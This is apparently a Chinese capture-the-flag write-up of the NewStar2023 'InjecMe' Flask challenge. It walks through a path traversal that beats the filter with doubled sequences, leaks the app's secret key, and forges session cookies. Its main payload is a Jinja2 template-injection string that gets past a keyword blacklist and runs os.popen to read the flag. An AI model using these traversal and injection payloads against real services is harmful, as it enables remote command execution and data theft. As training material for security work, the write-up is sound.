NewStar2023--week4---InjecMe
发现了一张图片，我们发现一段源码
我们目录穿越，利用双写绕过
/cancanneed?file=....//....//app.py
/cancanneed?file=....//....//config.py
app.py内容如下：
import os
import re
from flask import Flask, render_template, request, abort, send_file, session, render_template_string
from config import secret_key
app = Flask(__name__)
app.secret_key = secret_key
@app.route('/')
def hello_world(): # put application's code here
return render_template('index.html')
@app.route("/cancanneed", methods=["GET"])
def cancanneed():
all_filename = os.listdir('./static/img/')
filename = request.args.get('file', '')
if filename:
return render_template('img.html', filename=filename, all_filename=all_filename)
else:
return f"{str(os.listdir('./static/img/'))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>"
@app.route("/download", methods=["GET"])
def download():
filename = request.args.get('file', '')
if filename:
filename = filename.replace('../', '')
filename = os.path.join('static/img/', filename)
print(filename)
if (os.path.exists(filename)) and ("start" not in filename):
return send_file(filename)
else:
abort(500)
else:
abort(404)
@app.route('/backdoor', methods=["GET"])
def backdoor():
try:
print(session.get("user"))
if session.get("user") is None:
session['user'] = "guest"
name = session.get("user")
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
abort(500)
else:
return render_template_string(
'竟然给<h1>%s</h1>你找到了我的后门，你一定是网络安全大赛冠军吧！😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name)
except Exception:
abort(500)
@app.errorhandler(404)
def page_not_find(e):
return render_template('404.html'), 404
@app.errorhandler(500)
def internal_server_error(e):
return render_template('500.html'), 500
if __name__ == '__main__':
app.run('0.0.0.0', port=8080)
解释
从 app.py中发现密钥应该是在 config.py文件中
secret_key = "y0u_n3ver_k0nw_s3cret_key_1s_newst4r"
访问 /backdoor
eyJ1c2VyIjoiZ3Vlc3QifQ.Zym1bQ.RODwmojjYR1LnyEq1Nj-H0Bj-rs
解码：
PS E:\gitcode\flask-session-cookie-manager-1.2.1.1\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py decode -s "y0u_n3ver_k0nw_s3cret_key_1s_newst4r" -c "eyJ1c2VyIjoiZ3Vlc3QifQ.Zym1bQ.RODwmojjYR1LnyEq1Nj-H0Bj-rs"
{'user': 'guest'}
过滤了很多内容,主要思路利用向user里面执行注入
if re.findall(
r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.',
name):
这里利用变量替代的方法
{"user": "{% print(''[session['a']][session['b']][0][session['c']]()[117][session['d']][session['e']][session['f']]('more /y0U3_f14g_1s_h3re')[session['g']]())%}",
"a":'__class__',
"b":'__bases__',
"c":'__subclasses__',
"d":'__init__',
"e":'__globals__',
"f":'popen',
"g":'read'
}
这里利用Yakit发包了，在网页直接弄不行
